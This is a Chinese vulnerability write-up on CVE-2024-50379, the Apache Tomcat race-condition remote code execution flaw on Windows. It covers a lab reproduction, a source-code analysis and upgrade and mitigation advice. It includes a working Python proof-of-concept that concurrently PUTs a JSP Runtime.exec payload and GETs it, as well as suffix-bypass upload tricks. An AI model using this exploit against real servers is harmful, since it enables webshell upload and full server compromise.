一、(CVE-2024-50379)漏洞概述
1.1 简介
Apache Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379)是一个严重的安全漏洞,它允许攻击者在特定条件下绕过Tomcat的大小写检查,上传恶意文件并执行远程代码,可能导致服务器被完全控制。
1.2 原理概述
该漏洞是由于Tomcat在验证文件路径时存在缺陷,如果readonly
参数被设置为false
(这是一个非标准配置),并且服务器允许通过PUT方法上传文件,那么攻击者就可以上传含有恶意JSP代码的文件。通过不断地发送请求,攻击者可以利用条件竞争,使得Tomcat解析并执行这些恶意文件,从而实现远程代码执行。
1.3 影响范围
- 受影响的Apache Tomcat版本包括:
- 11.0.0-M1 <= Apache Tomcat < 11.0.2
- 10.1.0-M1 <= Apache Tomcat < 10.1.34
- 9.0.0.M1 <= Apache Tomcat < 9.0.98
- 该漏洞仅影响在Windows系统下启用PUT请求方法,并将
readonly
参数设置为非默认值false
的情况。
1.4 回顾CVE-2017-12615
CVE-2024-50379和CVE-2017-12615存在很多相似之处。
CVE-2017-12615是一个影响Apache Tomcat服务器的远程代码执行漏洞。
当Apache Tomcat运行在Windows操作系统上,并且启用了HTTP PUT请求方法时(例如,通过将
readonly
初始化参数的默认值设置为false
),攻击者可以通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件。这些JSP文件中的代码能够被服务器执行,导致远程代码执行。受影响的Apache Tomcat版本包括7.0.0至7.0.81。
该漏洞产生的原因是因为配置不当(非默认配置),具体来说,是将配置文件
conf/web.xml
中的readonly
设置为了false
,导致可以使用PUT方法上传任意文件。尽管对JSP后缀有限制,但对于不同平台存在多种绕过方法。攻击者可以通过发送HTTP PUT请求,并在请求中包含恶意JSP代码,来利用此漏洞。例如,通过在.jsp后加入
/
或者其他方式来绕过文件上传限制。
比如存在如下的web.xml的配置,当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。但是当PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制,让default servlet来处理请求。
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
sendNotAllowed(req, resp);
return;
}
......
从上面的代码中,当readOnly设置为true的时候(也就是关闭PUT方法)会直接返回;但是如果设置为了false,可以通过一些措施绕过后缀名的检测来上传webshell。
CVE-2024-50379也会利用到readOnly=false的条件,这时通过put上传1.Jsp的恶意代码(Jsp的J大写是为了绕过后缀名的检测)到服务器。
通过并发put文件上传非标准后缀的”jsp”,并不断发起get请求一个标准后最的”jsp”文件,最终由于服务器的大小写不敏感,导致请求成功造成RCE。
二、漏洞复现
2.1 环境搭建
2.1.1 环境条件
- jre1.8.0_202 【可以联系笔者私发】
- apache-tomcat-9.0.63 【https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.63/】
- win7 虚拟机
2.1.2 windows虚拟机配置环境变量
配置JAVA_HOME:
在Path中将这个版本的java的环境变量置顶,防止其他版本的干扰:
配置CATALINA_BASE:
CATALINA_BASE
环境变量在Apache Tomcat中扮演着重要的角色,其主要作用和配置如下:
- 定义和作用:
CATALINA_BASE
环境变量定义了Tomcat的工作目录,这个目录是Tomcat部署应用程序的基础路径。它通常用于隔离不同应用程序的配置和资源,允许多个Tomcat实例共享同一个CATALINA_HOME
,但拥有独立的工作目录。这对于多租户环境非常有用,因为它可以防止应用程序之间的资源冲突。- 与CATALINA_HOME的区别:
CATALINA_HOME
是Tomcat的安装目录,包含了Tomcat的所有核心文件和目录。而CATALINA_BASE
是指Tomcat的基本目录,包括配置文件、日志文件和Web应用程序等。如果只运行一个Tomcat实例,这两个属性指向的位置是相同的。- 配置多个实例:
- 当需要在一台计算机上运行多个Tomcat实例时,可以通过设置不同的
CATALINA_BASE
来实现。每个实例可以有自己的配置文件、日志文件、临时文件、Web应用程序和工作目录,而共享CATALINA_HOME
中的公共文件如bin
和lib
目录。
2.1.3 启动tomcat
这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件。
C:\Users\client\Desktop\apache-tomcat-9.0.63\apache-tomcat-9.0.63\bin\startup.bat
启动成功(乱码)
找到Tomcat目录下conf文件夹中的logging.properties文件,
打开logging.properties文件,找到文件中的java.util.logging.ConsoleHandler.encoding = UTF-8,
将其中的UTF-8改为GBK,保存后重启Tomcat服务,启动后就会看到刚才的乱码已经转换过来了。
访问测试:
2.2 漏洞复现
web.xml readOnly配置为false,即允许PUT上传:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
put上传1.jsp,无法上传。
2.2.1 尝试CVE-2017-12615绕过
- / (失败)
- %00 (失败)
- 空格 (失败)
- 改变大小写(成功上传✅,但不会解析执行,无法触发RCE)
用get访问时1.Jsp时不会触发RCE。
访问1.jsp是资源不存在。
2.2.1 手动将1.Jsp改成1.jsp触发RCE
发送get请求:
GET /1.jsp HTTP/1.1
Host: 192.168.155.19:8080
成功触发RCE,弹出计算器。
2.2.2 基于条件竞争触发RCE
现在的情况是,我们能够上传类似poc.Jsp的文件,但是GET poc.Jsp并不会触发服务端执行恶意代码,只有GET poc.jsp时会触发RCE。
基于CVE-2024-50379,我们并发的上传poc.Jsp,并且也并发的GET poc.jsp,只要在合适的时间窗口内(具体这个窗口的原理后续分析)就能够成功触发恶意代码的执行。
- PUT poc.Jsp
- GET poc.jsp
因为要尽可能的在一个时间窗口内触发,GET请求的并发线程数多一些。
单独有前两个线程没有触发成功的话可以再添加一个并发的PUT请求。
- 再添加一个PUT poc2.Jsp
还是没能触发。
GET poc.jsp 并发线程设置为10000也没能触发成功,后又改回5000.
如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。
比较随缘。在执行到后期通常都会成功,需要耐心等待一下,如下图所示。
从上图可以看到,本来服务端不存在evil.jsp恶意代码文件(有的只是evil.Jsp),但是在条件竞争的情况下被成功GET并执行了。
下面结合POC一起打的时候也成功了。
2.3 POC
import asyncio
import aiohttp
async def send_request(session, method, url, data=None):
try:
async with session.request(method, url, data=data) as response:
print(f"Request to {url} completed with status {response.status}")
return await response.text()
except Exception as e:
print(f"Request to {url} failed: {e}")
return None
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for _ in range(10000): # 循环100次
tasks.append(send_request(session, 'PUT', 'http://192.168.155.19:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'PUT', 'http://192.168.155.19:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'GET', 'http://192.168.155.19:8080/evil.jsp'))
# 并发执行所有任务
responses = await asyncio.gather(*tasks)
# 打印部分响应结果(可选)
for i, response in enumerate(responses):
if response:
print(f"Response {i+1}: {response[:100]}...")
# 运行主函数
asyncio.run(main())
可以使用POC+yakit一起打。
成功弹出大量的计算器,表明恶意代码成功执行了。
三、代码审计——底层原理剖析
CVE-2024-50379是一个Apache Tomcat的条件竞争漏洞,其底层原理涉及到Windows文件系统和Tomcat在路径大小写处理上的不一致性。
3.1 File
对象的getCanonicalPath
方法和exists
方法
这段Java代码是一个简单的测试程序,用于演示File
对象的getCanonicalPath
方法和exists
方法的行为。
public class MyTest {
private static final SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss");
public static void main(String[] args) throws Exception {
File file = new File("D:\\dev\\apache-tomcat-9.0.98\\webapps\\ROOT\\poc2.jsp");
while (true) {
String canonicalPath = file.getCanonicalPath();
System.out.println(sdf.format(new Date()) + "\t" + canonicalPath + "\t" + (file.exists() ? "yes" : "no"));
TimeUnit.SECONDS.sleep(1);
}
}
}
这段Java代码是一个简单的测试程序,用于演示
File
对象的getCanonicalPath
方法和exists
方法的行为。下面是对这段代码的详细解释:
- SimpleDateFormat 类:
SimpleDateFormat
是一个用于格式化和解析日期的类。在这里,它被用来以"HH:mm:ss"
的格式显示当前时间。File
是一个抽象的类,用于表示文件和目录路径名的抽象表示形式。它提供了一些方法来操作实际的文件和目录。- getCanonicalPath 方法:
getCanonicalPath
方法被调用来获取文件的规范化路径。规范化路径是一个绝对路径,它消除了所有相对路径的引用(如.
和..
),并且反映了文件系统的实际大小写。- **TimeUnit.SECONDS.sleep(1)**:
- 程序在每次循环后暂停1秒钟。
TimeUnit.SECONDS.sleep(1)
是一个静态导入,它使程序在继续下一次循环之前休眠1秒。在CVE-2024-50379漏洞的上下文中,这段代码可以用来展示在Windows文件系统中,文件名的大小写是如何被处理的,以及这如何可能影响Tomcat服务器的行为。
- 当磁盘目录上不存在poc2.jsp时,会看到这样的输出:
- 模拟执行PUT /poc2.JSP 上传一个poc2.JSP文件,会发现getCanonicalPath函数将JSP转换为了小写的jsp,且exists函数判断小写的jsp文件存在:
- 再等待几秒后会发现:小写的jsp后缀变为了大写的JSP,但此时exists函数仍然判断小写的jsp文件存在(这是因为windows对大小写不敏感的原因,windows上任务1.JSP和1.jsp是一个文件):
这是JDK 1.8 java.io.File#getCanonicalPath 方法在Windows上的表现。Tomcat的这个漏洞也正是利用了这个特点。
3.2 Tomcat漏洞源代码分析(9.0.63为例)
在tomcat源码中,org.apache.catalina.webresources.AbstractFileResourceSet#file
方法第94行调用了getCanonicalPath方法
从上面小节的演示来看,当刚刚执行 PUT /poc2.JSP 操作后,canPath是一个小写的 .jsp 结尾的文件。
然后回到上层getResource
方法中,第105行判断文件是否存在,由于此时已经上传了 poc*.JSP 文件,f.exists()会返回true(windows大小写不敏感),于是在第111行返回了一个 FileResource 对象,有了这个FileResource对象tomcat就会找到相应的jsp并编译成servlet执行,于是RCE就触发了。
为什么再过几秒之后就无法触发了呢?换言之为什么这个漏洞称之为条件竞争呢?
因为过了这个时间差之后,file.getCanonicalPath 获取的值就变为了 *.JSP 大写结尾的路径,但调用 file.getAbsolutePath() 方法依然会返回 *.jsp 小写结尾的路径,于是 file 方法第141行的equals方法会返回false,再取反为true,于是执行到145行返回一个null:
再返回上层getResource方法中,此时得到的 f 是null,则会返回一个空资源 EmptyResource:
空资源代表不存在,于是tomcat会返回404 。
所以这个漏洞要想利用必须打时间差,在 .jsp 变为 .JSP 之前。此所谓“条件竞争”。
3.3 总结
Windows文件系统与Tomcat的大小写敏感性差异:
Windows文件系统是不区分大小写的,而Tomcat在处理文件路径时默认是区分大小写的。这个差异被攻击者利用来绕过Tomcat的路径校验机制。
在Tomcat源码中,
org.apache.catalina.webresources.AbstractFileResourceSet#file
方法调用了getCanonicalPath
方法。当执行PUT操作后,getCanonicalPath
返回的是小写.jsp结尾的文件,然后Tomcat会检查文件是否存在,由于文件已经上传,f.exists()
会返回true(Windows大小写不敏感),于是返回了一个FileResource
对象,导致Tomcat找到相应的jsp并编译成servlet执行,触发RCE。时间差利用:
攻击者必须在
.jsp
变为.JSP
之前利用这个漏洞,因为过了这个时间差之后,file.getCanonicalPath
获取的值就变成了大写结尾的路径,但调用file.getAbsolutePath()
方法依然会返回小写结尾的路径,导致后续的路径检查失败,Tomcat会返回404错误。
综上所述,CVE-2024-50379漏洞利用了Windows文件系统和Tomcat在大小写处理上的差异,通过条件竞争的方式,使得攻击者能够上传并执行恶意代码。
四、修复建议
- Apache官方已经发布了安全通告并发布了修复版本,建议用户尽快升级到以下版本:
- Apache Tomcat 11.0.2 或更高版本
- Apache Tomcat 10.1.34 或更高版本
- Apache Tomcat 9.0.98 或更高版本
- 官方下载链接:
临时缓解措施:
在不影响业务的前提下将
conf/web.xml
文件中的readOnly
参数设置为true
或直接注释该参数;禁用PUT方法并重启Tomcat服务以启用新的配置。